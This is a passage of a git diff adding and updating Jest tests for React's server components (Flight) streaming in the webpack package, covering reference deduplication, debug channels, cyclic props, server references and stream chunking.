+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('');
+
+    await act(() => {
+      resolveClientComponentChunk();
+    });
+
+    expect(container.innerHTML).toBe('<div>Hello, World!</div>');
+  });
+
+  it('closes inner ReadableStreams gracefully with unstable_allowPartialStream', async () => {
+    let streamController;
+    const innerStream = new ReadableStream({
+      start(c) {
+        streamController = c;
+      },
+    });
+
+    const abortController = new AbortController();
+    const {pendingResult} = await serverAct(async () => {
+      streamController.enqueue({hello: 'world'});
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          {stream: innerStream},
+          webpackMap,
+          {
+            signal: abortController.signal,
+          },
+        ),
+      };
+    });
+
+    abortController.abort();
+    const {prelude} = await serverAct(() => pendingResult);
+
+    const response = await ReactServerDOMClient.createFromReadableStream(
+      passThrough(prelude),
+      {
+        unstable_allowPartialStream: true,
+      },
+    );
+
+    // The inner stream should be readable up to what was enqueued.
+    const reader = response.stream.getReader();
+    const {value, done} = await reader.read();
+    expect(value).toEqual({hello: 'world'});
+    expect(done).toBe(false);
+
+    // The next read should signal the stream is done (closed, not errored).
+    const final = await reader.read();
+    expect(final.done).toBe(true);
+  });
+
+  it('can dedupe references inside promises', async () => {
+    const foo = {};
+    const bar = {
+      foo: foo,
+    };
+    foo.bar = bar;
+
+    const object = {
+      foo: Promise.resolve(foo),
+      bar: Promise.resolve(bar),
+    };
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(object, webpackMap),
+    );
+
+    const response = await ReactServerDOMClient.createFromReadableStream(
+      passThrough(stream),
+    );
+
+    const responseFoo = await response.foo;
+    const responseBar = await response.bar;
+    expect(responseFoo.bar).toBe(responseBar);
+    expect(responseBar.foo).toBe(responseFoo);
+  });
+
+  it('can deduped outlined references inside promises', async () => {
+    const foo = {};
+    const bar = new Set([foo]); // This will be outlined which can create a future reference
+    foo.bar = bar;
+
+    const object = {
+      foo: Promise.resolve(foo),
+      bar: Promise.resolve(bar),
+    };
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(object, webpackMap),
+    );
+
+    const response = await ReactServerDOMClient.createFromReadableStream(
+      passThrough(stream),
+    );
+
+    const responseFoo = await response.foo;
+    const responseBar = await response.bar;
+    expect(responseFoo.bar).toBe(responseBar);
+    expect(Array.from(responseBar)[0]).toBe(responseFoo);
+  });
+
+  it('should resolve deduped references in maps used in client component props', async () => {
+    const ClientComponent = clientExports(function ClientComponent({
+      shared,
+      map,
+    }) {
+      expect(map.get(42)).toBe(shared);
+      return JSON.stringify({shared, map: Array.from(map)});
+    });
+
+    function Server() {
+      const shared = {id: 42};
+      const map = new Map([[42, shared]]);
+
+      return <ClientComponent shared={shared} map={map} />;
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe(
+      '{"shared":{"id":42},"map":[[42,{"id":42}]]}',
+    );
+  });
+
+  it('should resolve a cycle between debug info and the value it produces', async () => {
+    function Inner({style}) {
+      return <div style={style} />;
+    }
+
+    function Component({style}) {
+      return <Inner style={style} />;
+    }
+
+    const style = {};
+    const element = <Component style={style} />;
+    style.element = element;
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(element, webpackMap),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('<div></div>');
+  });
+
+  it('does not close the response early when using a fast debug channel', async () => {
+    function Component() {
+      return <div>Hi</div>;
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Component />, webpackMap, {
+        debugChannel: {
+          writable: new WritableStream({
+            write(chunk) {
+              debugReadableStreamController.enqueue(chunk);
+            },
+            close() {
+              debugReadableStreamController.close();
+            },
+          }),
+        },
+      }),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      // Create a delayed stream to simulate that the RSC stream might be
+      // transported slower than the debug channel, which must not lead to a
+      // `Connection closed` error in the Flight client.
+      createDelayedStream(rscStream),
+      {
+        debugChannel: {readable: debugReadableStream},
+      },
+    );
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('<div>Hi</div>');
+  });
+
+  it('can transport debug info through a dedicated debug channel', async () => {
+    let ownerStack;
+
+    const ClientComponent = clientExports(() => {
+      ownerStack = React.captureOwnerStack ? React.captureOwnerStack() : null;
+      return <p>Hi</p>;
+    });
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponent, null),
+      );
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        ReactServer.createElement(App, null),
+        webpackMap,
+        {
+          debugChannel: {
+            writable: new WritableStream({
+              write(chunk) {
+                debugReadableStreamController.enqueue(chunk);
+              },
+              close() {
+                debugReadableStreamController.close();
+              },
+            }),
+          },
+        },
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
+      replayConsoleLogs: true,
+      debugChannel: {
+        readable: debugReadableStream,
+        // Explicitly not defining a writable side here. Its presence was
+        // previously used as a condition to wait for referenced debug chunks.
+      },
+    });
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+    }
+
+    expect(container.innerHTML).toBe('<p>Hi</p>');
+  });
+
+  it('should not have missing key warnings when a static child is blocked on debug info', async () => {
+    const ClientComponent = clientExports(function ClientComponent({element}) {
+      return (
+        <div>
+          <span>Hi</span>
+          {element}
+        </div>
+      );
+    });
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        <ClientComponent element={<span>Sebbie</span>} />,
+        webpackMap,
+        {
+          debugChannel: {
+            writable: new WritableStream({
+              write(chunk) {
+                debugReadableStreamController.enqueue(chunk);
+              },
+              close() {
+                debugReadableStreamController.close();
+              },
+            }),
+          },
+        },
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      debugChannel: {readable: createDelayedStream(debugReadableStream)},
+    });
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    // Wait for the debug info to be processed.
+    await act(() => {});
+
+    expect(container.innerHTML).toBe(
+      '<div><span>Hi</span><span>Sebbie</span></div>',
+    );
+  });
+
+  it('should fully resolve debug info when transported through a (slow) debug channel', async () => {
+    function Paragraph({children}) {
+      return ReactServer.createElement('p', null, children);
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const app = ReactServer.createElement(
+      ReactServer.Fragment,
+      null,
+      ReactServer.createElement(Paragraph, null, 'foo'),
+      ReactServer.createElement(Paragraph, null, 'bar'),
+    );
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        {
+          root: app,
+        },
+        webpackMap,
+        {
+          debugChannel: {
+            writable: new WritableStream({
+              write(chunk) {
+                debugReadableStreamController.enqueue(chunk);
+              },
+              close() {
+                debugReadableStreamController.close();
+              },
+            }),
+          },
+        },
+      ),
+    );
+
+    function ClientRoot({response}) {
+      const {root} = use(response);
+      return root;
+    }
+
+    const [slowDebugStream1, slowDebugStream2] =
+      createDelayedStream(debugReadableStream).tee();
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      debugChannel: {readable: slowDebugStream1},
+    });
+
+    const container = document.createElement('div');
+    const clientRoot = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      clientRoot.render(<ClientRoot response={response} />);
+    });
+
+    if (__DEV__) {
+      const debugStreamReader = slowDebugStream2.getReader();
+      while (true) {
+        const {done} = await debugStreamReader.read();
+        if (done) {
+          break;
+        }
+        // Allow the client to process each debug chunk as it arrives.
+        await act(() => {});
+      }
+    }
+
+    expect(container.innerHTML).toBe('<p>foo</p><p>bar</p>');
+
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      const result = await response;
+      const firstParagraph = result.root[0];
+
+      expect(getDebugInfo(firstParagraph)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Paragraph",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js",
+                2989,
+                19,
+                2973,
+                89,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+        ]
+      `);
+    }
+  });
+
+  it('should resolve a cycle between debug info and the value it produces when using a debug channel', async () => {
+    // Same as `should resolve a cycle between debug info and the value it produces`, but using a debug channel.
+
+    function Inner({style}) {
+      return <div style={style} />;
+    }
+
+    function Component({style}) {
+      return <Inner style={style} />;
+    }
+
+    const style = {};
+    const element = <Component style={style} />;
+    style.element = element;
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(element, webpackMap, {
+        debugChannel: {
+          writable: new WritableStream({
+            write(chunk) {
+              debugReadableStreamController.enqueue(chunk);
+            },
+            close() {
+              debugReadableStreamController.close();
+            },
+          }),
+        },
+      }),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
+      debugChannel: {readable: debugReadableStream},
+    });
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('<div></div>');
+  });
 });
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMEdge-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMEdge-test.js
index 47418276dbb9..266471e58881 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMEdge-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMEdge-test.js
@@ -10,39 +10,61 @@
 
 'use strict';
 
-// Polyfills for test environment
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-global.TextEncoder = require('util').TextEncoder;
-global.TextDecoder = require('util').TextDecoder;
-global.Blob = require('buffer').Blob;
-if (typeof File === 'undefined' || typeof FormData === 'undefined') {
-  global.File = require('buffer').File || require('undici').File;
-  global.FormData = require('undici').FormData;
-}
 // Patch for Edge environments for global scope
 global.AsyncLocalStorage = require('async_hooks').AsyncLocalStorage;
 
-// Don't wait before processing work on the server.
-// TODO: we can replace this with FlightServer.act().
-global.setTimeout = cb => cb();
-
 let serverExports;
 let clientExports;
 let webpackMap;
+let webpackServerMap;
 let webpackModules;
 let webpackModuleLoading;
 let React;
 let ReactServer;
 let ReactDOMServer;
+let ReactDOMFizzStatic;
 let ReactServerDOMServer;
+let ReactServerDOMStaticServer;
 let ReactServerDOMClient;
 let use;
+let serverAct;
+let assertConsoleErrorDev;
+
+function normalizeCodeLocInfo(str) {
+  return (
+    str &&
+    str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+      return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+    })
+  );
+}
+
+function normalizeSerializedContent(str) {
+  return str.replaceAll(__REACT_ROOT_PATH_TEST__, '**');
+}
 
 describe('ReactFlightDOMEdge', () => {
   beforeEach(() => {
+    // Mock performance.now for timing tests
+    let time = 10;
+    const now = jest.fn().mockImplementation(() => {
+      return time++;
+    });
+    Object.defineProperty(performance, 'timeOrigin', {
+      value: time,
+      configurable: true,
+    });
+    Object.defineProperty(performance, 'now', {
+      value: now,
+      configurable: true,
+    });
+
     jest.resetModules();
 
+    serverAct = require('internal-test-utils').serverAct;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
+
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
     jest.mock('react-server-dom-webpack/server', () =>
@@ -54,11 +76,16 @@ describe('ReactFlightDOMEdge', () => {
     serverExports = WebpackMock.serverExports;
     clientExports = WebpackMock.clientExports;
     webpackMap = WebpackMock.webpackMap;
+    webpackServerMap = WebpackMock.webpackServerMap;
     webpackModules = WebpackMock.webpackModules;
     webpackModuleLoading = WebpackMock.moduleLoading;
 
     ReactServer = require('react');
     ReactServerDOMServer = require('react-server-dom-webpack/server');
+    jest.mock('react-server-dom-webpack/static', () =>
+      require('react-server-dom-webpack/static.edge'),
+    );
+    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');
 
     jest.resetModules();
     __unmockReact();
@@ -68,6 +95,7 @@ describe('ReactFlightDOMEdge', () => {
     );
     React = require('react');
     ReactDOMServer = require('react-dom/server.edge');
+    ReactDOMFizzStatic = require('react-dom/static.edge');
     ReactServerDOMClient = require('react-server-dom-webpack/client');
     use = React.use;
   });
@@ -91,8 +119,16 @@ describe('ReactFlightDOMEdge', () => {
             chunk.set(prevChunk, 0);
             chunk.set(value, prevChunk.length);
             if (chunk.length > 50) {
+              // Copy the part we're keeping (prevChunk) to avoid buffer
+              // transfer. When we enqueue the partial chunk below, downstream
+              // consumers (like byte streams in the Flight Client) may detach
+              // the underlying buffer. Since prevChunk would share the same
+              // buffer, we copy it first so it has its own independent buffer.
+              // TODO: Should we just use {type: 'bytes'} for this stream to
+              // always transfer ownership, and not only "accidentally" when we
+              // enqueue in the Flight Client?
+              prevChunk = chunk.slice(chunk.length - 50);
               controller.enqueue(chunk.subarray(0, chunk.length - 50));
-              prevChunk = chunk.subarray(chunk.length - 50);
             } else {
               // Wait to see if we get some more bytes to join in.
               prevChunk = chunk;
@@ -115,6 +151,61 @@ describe('ReactFlightDOMEdge', () => {
     });
   }
 
+  function dripStream(input) {
+    const reader = input.getReader();
+    let nextDrop = 0;
+    let controller = null;
+    let streamDone = false;
+    const buffer = [];
+    function flush() {
+      if (controller === null || nextDrop === 0) {
+        return;
+      }
+      while (buffer.length > 0 && nextDrop > 0) {
+        const nextChunk = buffer[0];
+        if (nextChunk.byteLength <= nextDrop) {
+          nextDrop -= nextChunk.byteLength;
+          controller.enqueue(nextChunk);
+          buffer.shift();
+          if (streamDone && buffer.length === 0) {
+            controller.done();
+          }
+        } else {
+          controller.enqueue(nextChunk.subarray(0, nextDrop));
+          buffer[0] = nextChunk.subarray(nextDrop);
+          nextDrop = 0;
+        }
+      }
+    }
+    const output = new ReadableStream({
+      start(c) {
+        controller = c;
+        async function pump() {
+          for (;;) {
+            const {value, done} = await reader.read();
+            if (done) {
+              streamDone = true;
+              break;
+            }
+            buffer.push(value);
+            flush();
+          }
+        }
+        pump();
+      },
+      pull() {},
+      cancel(reason) {
+        reader.cancel(reason);
+      },
+    });
+    function drip(n) {
+      nextDrop += n;
+      flush();
+    }
+
+    return [output, drip];
+  }
+
   async function readResult(stream) {
     const reader = stream.getReader();
     let result = '';
@@ -139,6 +230,50 @@ describe('ReactFlightDOMEdge', () => {
     }
   }
 
+  async function createBufferedUnclosingStream(
+    stream: ReadableStream<Uint8Array>,
+  ): Promise<ReadableStream<Uint8Array>> {
+    const chunks: Array<Uint8Array> = [];
+    const reader = stream.getReader();
+    while (true) {
+      const {done, value} = await reader.read();
+      if (done) {
+        break;
+      } else {
+        chunks.push(value);
+      }
+    }
+
+    let i = 0;
+    return new ReadableStream({
+      async pull(controller) {
+        if (i < chunks.length) {
+          controller.enqueue(chunks[i++]);
+        }
+      },
+    });
+  }
+
+  function createDelayedStream(
+    stream: ReadableStream<Uint8Array>,
+  ): ReadableStream<Uint8Array> {
+    return new ReadableStream({
+      async start(controller) {
+        const reader = stream.getReader();
+        while (true) {
+          const {done, value} = await reader.read();
+          if (done) {
+            controller.close();
+          } else {
+            // Artificially delay between enqueuing chunks.
+            await new Promise(resolve => setTimeout(resolve));
+            controller.enqueue(value);
+          }
+        }
+      },
+    });
+  }
+
   it('should allow an alternative module mapping to be used for SSR', async () => {
     function ClientComponent() {
       return <span>Client Component</span>;
@@ -165,12 +300,11 @@ describe('ReactFlightDOMEdge', () => {
       return <ClientComponentOnTheClient />;
     }
 
-    const stream = ReactServerDOMServer.renderToReadableStream(
-      <App />,
-      webpackMap,
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<App />, webpackMap),
     );
     const response = ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: translationMap,
         moduleLoading: webpackModuleLoading,
       },
@@ -180,21 +314,210 @@ describe('ReactFlightDOMEdge', () => {
       return use(response);
     }
 
-    const ssrStream = await ReactDOMServer.renderToReadableStream(
-      <ClientRoot />,
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(<ClientRoot />),
     );
     const result = await readResult(ssrStream);
     expect(result).toEqual('<span>Client Component</span>');
   });
 
+  it('should resolve cyclic references in client component props after two rounds of serialization and deserialization', async () => {
+    const ClientComponent = clientExports(function ClientComponent({data}) {
+      return (
+        <div>{data.self === data ? 'Cycle resolved' : 'Cycle broken'}</div>
+      );
+    });
+    const clientModuleMetadata = webpackMap[ClientComponent.$$id];
+    const consumerModuleId = 'consumer-' + clientModuleMetadata.id;
+    const clientReference = Object.defineProperties(ClientComponent, {
+      $$typeof: {value: Symbol.for('react.client.reference')},
+      $$id: {value: ClientComponent.$$id},
+    });
+    webpackModules[consumerModuleId] = clientReference;
+
+    const cyclic = {self: null};
+    cyclic.self = cyclic;
+
+    const stream1 = ReactServerDOMServer.renderToReadableStream(
+      <React.Fragment key="this-key-is-important-to-repro-a-prior-cycle-serialization-bug">
+        <ClientComponent data={cyclic} />
+      </React.Fragment>,
+      webpackMap,
+    );
+
+    const promise = ReactServerDOMClient.createFromReadableStream(stream1, {
+      serverConsumerManifest: {
+        moduleMap: {
+          [clientModuleMetadata.id]: {
+            '*': {
+              id: consumerModuleId,
+              chunks: [],
+              name: '*',
+            },
+          },
+        },
+        moduleLoading: webpackModuleLoading,
+        serverModuleMap: null,
+      },
+    });
+
+    const errors = [];
+    const stream2 = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(promise, webpackMap, {
+        onError(error) {
+          errors.push(error);
+        },
+      }),
+    );
+
+    expect(errors).toEqual([]);
+
+    const element = await serverAct(() =>
+      ReactServerDOMClient.createFromReadableStream(stream2, {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      }),
+    );
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(element),
+    );
+    const result = await readResult(ssrStream);
+
+    expect(result).toBe('<div>Cycle resolved</div>');
+  });
+
+  it('should be able to load a server reference on a consuming server if a mapping exists', async () => {
+    function greet(name) {
+      return 'hi, ' + name;
+    }
+    const ServerModule = serverExports({
+      greet,
+    });
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        {
+          method: ServerModule.greet,
+          boundMethod: ServerModule.greet.bind(null, 'there'),
+        },
+        webpackMap,
+      ),
+    );
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      serverConsumerManifest: {
+        moduleMap: webpackMap,
+        serverModuleMap: webpackServerMap,
+        moduleLoading: webpackModuleLoading,
+      },
+    });
+
+    const result = await response;
+
+    expect(result.method).toBe(greet);
+    expect(result.boundMethod()).toBe('hi, there');
+  });
+
+  it('should be able to load a server reference on a consuming server if a mapping exists (async)', async () => {
+    let resolve;
+    const chunkPromise = new Promise(r => (resolve = r));
+
+    function greet(name) {
+      return 'hi, ' + name;
+    }
+    const ServerModule = serverExports(
+      {
+        greet,
+      },
+      chunkPromise,
+    );
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        {
+          method: ServerModule.greet,
+          boundMethod: ServerModule.greet.bind(null, 'there'),
+        },
+        webpackMap,
+      ),
+    );
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      serverConsumerManifest: {
+        moduleMap: webpackMap,
+        serverModuleMap: webpackServerMap,
+        moduleLoading: webpackModuleLoading,
+      },
+    });
+
+    await resolve();
+
+    const result = await response;
+
+    expect(result.method).toBe(greet);
+    expect(result.boundMethod()).toBe('hi, there');
+  });
+
+  it('should load a server reference on a consuming server and pass it back', async () => {
+    function greet(name) {
+      return 'hi, ' + name;
+    }
+    const ServerModule = serverExports({
+      greet,
+    });
+
+    // Registering the server reference also with the client must not break
+    // subsequent `.bind` calls.
+    ReactServerDOMClient.registerServerReference(
+      ServerModule.greet,
+      ServerModule.greet.$$id,
+    );
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        {
+          method: ServerModule.greet,
+          boundMethod: ServerModule.greet.bind(null, 'there'),
+        },
+        webpackMap,
+      ),
+    );
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      serverConsumerManifest: {
+        moduleMap: webpackMap,
+        serverModuleMap: webpackServerMap,
+        moduleLoading: webpackModuleLoading,
+      },
+    });
+
+    const result = await response;
+
+    expect(result.method).toBe(greet);
+    expect(result.boundMethod()).toBe('hi, there');
+
+    const body = await ReactServerDOMClient.encodeReply({
+      method: result.method,
+      boundMethod: result.boundMethod,
+    });
+    const replyResult = await ReactServerDOMServer.decodeReply(
+      body,
+      webpackServerMap,
+    );
+    expect(replyResult.method).toBe(greet);
+    expect(replyResult.boundMethod()).toBe('hi, there');
+  });
+
   it('should encode long string in a compact format', async () => {
     const testString = '"\n\t'.repeat(500) + '🙃';
     const testString2 = 'hello'.repeat(400);
 
-    const stream = ReactServerDOMServer.renderToReadableStream({
-      text: testString,
-      text2: testString2,
-    });
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream({
+        text: testString,
+        text2: testString2,
+      }),
+    );
     const [stream1, stream2] = passThrough(stream).tee();
 
     const serializedContent = await readResult(stream1);
@@ -208,7 +531,7 @@ describe('ReactFlightDOMEdge', () => {
     const result = await ReactServerDOMClient.createFromReadableStream(
       stream2,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -225,16 +548,20 @@ describe('ReactFlightDOMEdge', () => {
       with: {many: 'properties in it'},
     };
     const props = {root: <div>{new Array(30).fill(obj)}</div>};
-    const stream = ReactServerDOMServer.renderToReadableStream(props);
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(props),
+    );
     const [stream1, stream2] = passThrough(stream).tee();
 
-    const serializedContent = await readResult(stream1);
-    expect(serializedContent.length).toBeLessThan(1100);
+    const serializedContent = normalizeSerializedContent(
+      await readResult(stream1),
+    );
+    expect(serializedContent.length).toBeLessThan(1075);
 
     const result = await ReactServerDOMClient.createFromReadableStream(
       stream2,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -293,23 +620,29 @@ describe('ReactFlightDOMEdge', () => {
       </>
     );
     const resolvedChildren = new Array(30).fill(str);
-    const stream = ReactServerDOMServer.renderToReadableStream(children);
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(children),
+    );
     const [stream1, stream2] = passThrough(stream).tee();
 
-    const serializedContent = await readResult(stream1);
+    const serializedContent = normalizeSerializedContent(
+      await readResult(stream1),
+    );
 
-    expect(serializedContent.length).toBeLessThan(410);
+    expect(serializedContent.length).toBeLessThan(465);
     expect(timesRendered).toBeLessThan(5);
 
     const model = await ReactServerDOMClient.createFromReadableStream(stream2, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
     });
 
     // Use the SSR render to resolve any lazy elements
-    const ssrStream = await ReactDOMServer.renderToReadableStream(model);
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(model),
+    );
     // Should still match the result when parsed
     const result = await readResult(ssrStream);
     expect(result).toEqual(resolvedChildren.join('<!-- -->'));
@@ -361,22 +694,30 @@ describe('ReactFlightDOMEdge', () => {
     const resolvedChildren = new Array(30).fill(
       '<div>this is a long return value</div>',
     );
-    const stream = ReactServerDOMServer.renderToReadableStream(children);
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(children),
+    );
     const [stream1, stream2] = passThrough(stream).tee();
 
-    const serializedContent = await readResult(stream1);
-    expect(serializedContent.length).toBeLessThan(__DEV__ ? 590 : 400);
+    const serializedContent = normalizeSerializedContent(
+      await readResult(stream1),
+    );
+    expect(serializedContent.length).toBeLessThan(__DEV__ ? 630 : 400);
     expect(timesRendered).toBeLessThan(5);
 
-    const model = await ReactServerDOMClient.createFromReadableStream(stream2, {
-      ssrManifest: {
-        moduleMap: null,
-        moduleLoading: null,
-      },
-    });
+    const model = await serverAct(() =>
+      ReactServerDOMClient.createFromReadableStream(stream2, {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      }),
+    );
 
     // Use the SSR render to resolve any lazy elements
-    const ssrStream = await ReactDOMServer.renderToReadableStream(model);
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(model),
+    );
     // Should still match the result when parsed
     const result = await readResult(ssrStream);
     expect(result).toEqual(resolvedChildren.join(''));
@@ -389,15 +730,117 @@ describe('ReactFlightDOMEdge', () => {
       }
       return <div>Fin</div>;
     }
-    const stream = ReactServerDOMServer.renderToReadableStream(
-      <ServerComponent recurse={20} />,
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        <ServerComponent recurse={20} />,
+      ),
+    );
+    const serializedContent = normalizeSerializedContent(
+      await readResult(stream),
     );
-    const serializedContent = await readResult(stream);
-    const expectedDebugInfoSize = __DEV__ ? 300 * 20 : 0;
+    const expectedDebugInfoSize = __DEV__ ? 295 * 20 : 0;
     expect(serializedContent.length).toBeLessThan(150 + expectedDebugInfoSize);
   });
 
-  // @gate enableBinaryFlight
+  it('should break up large sync components by outlining into streamable elements', async () => {
+    const paragraphs = [];
+    for (let i = 0; i < 20; i++) {
+      const text =
+        'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris' +
+        'porttitor tortor ac lectus faucibus, eget eleifend elit hendrerit.' +
+        'Integer porttitor nisi in leo congue rutrum. Morbi sed ante posuere,' +
+        'aliquam lorem ac, imperdiet orci. Duis malesuada gravida pharetra. Cras' +
+        'facilisis arcu diam, id dictum lorem imperdiet a. Suspendisse aliquet' +
+        'tempus tortor et ultricies. Aliquam libero velit, posuere tempus ante' +
+        'sed, pellentesque tincidunt lorem. Nullam iaculis, eros a varius' +
+        'aliquet, tortor felis tempor metus, nec cursus felis eros aliquam nulla.' +
+        'Vivamus ut orci sed mauris congue lacinia. Cras eget blandit neque.' +
+        'Pellentesque a massa in turpis ullamcorper volutpat vel at massa. Sed' +
+        'ante est, auctor non diam non, vulputate ultrices metus. Maecenas dictum' +
+        'fermentum quam id aliquam. Donec porta risus vitae pretium posuere.' +
+        'Fusce facilisis eros in lacus tincidunt congue.' +
+        i; /* trick dedupe */
+      paragraphs.push(<p key={i}>{text}</p>);
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(paragraphs),
+    );
+
+    const [stream2, drip] = dripStream(stream);
+
+    // Allow some of the content through.
+    drip(__DEV__ ? 7500 : 5000);
+
+    const result = await ReactServerDOMClient.createFromReadableStream(
+      stream2,
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    // We should have resolved enough to be able to get the array even though some
+    // of the items inside are still lazy.
+    expect(result.length).toBe(20);
+
+    // Unblock the rest
+    drip(Infinity);
+
+    // Use the SSR render to resolve any lazy elements
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(result),
+    );
+    const html = await readResult(ssrStream);
+
+    const ssrStream2 = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(paragraphs),
+    );
+    const html2 = await readResult(ssrStream2);
+
+    expect(html).toBe(html2);
+  });
+
+  it('regression: should not leak serialized size', async () => {
+    const MAX_ROW_SIZE = 3200;
+    // This test case is a bit convoluted and may no longer trigger the original bug.
+    // Originally, the size of `promisedText` was not cleaned up so the sync portion
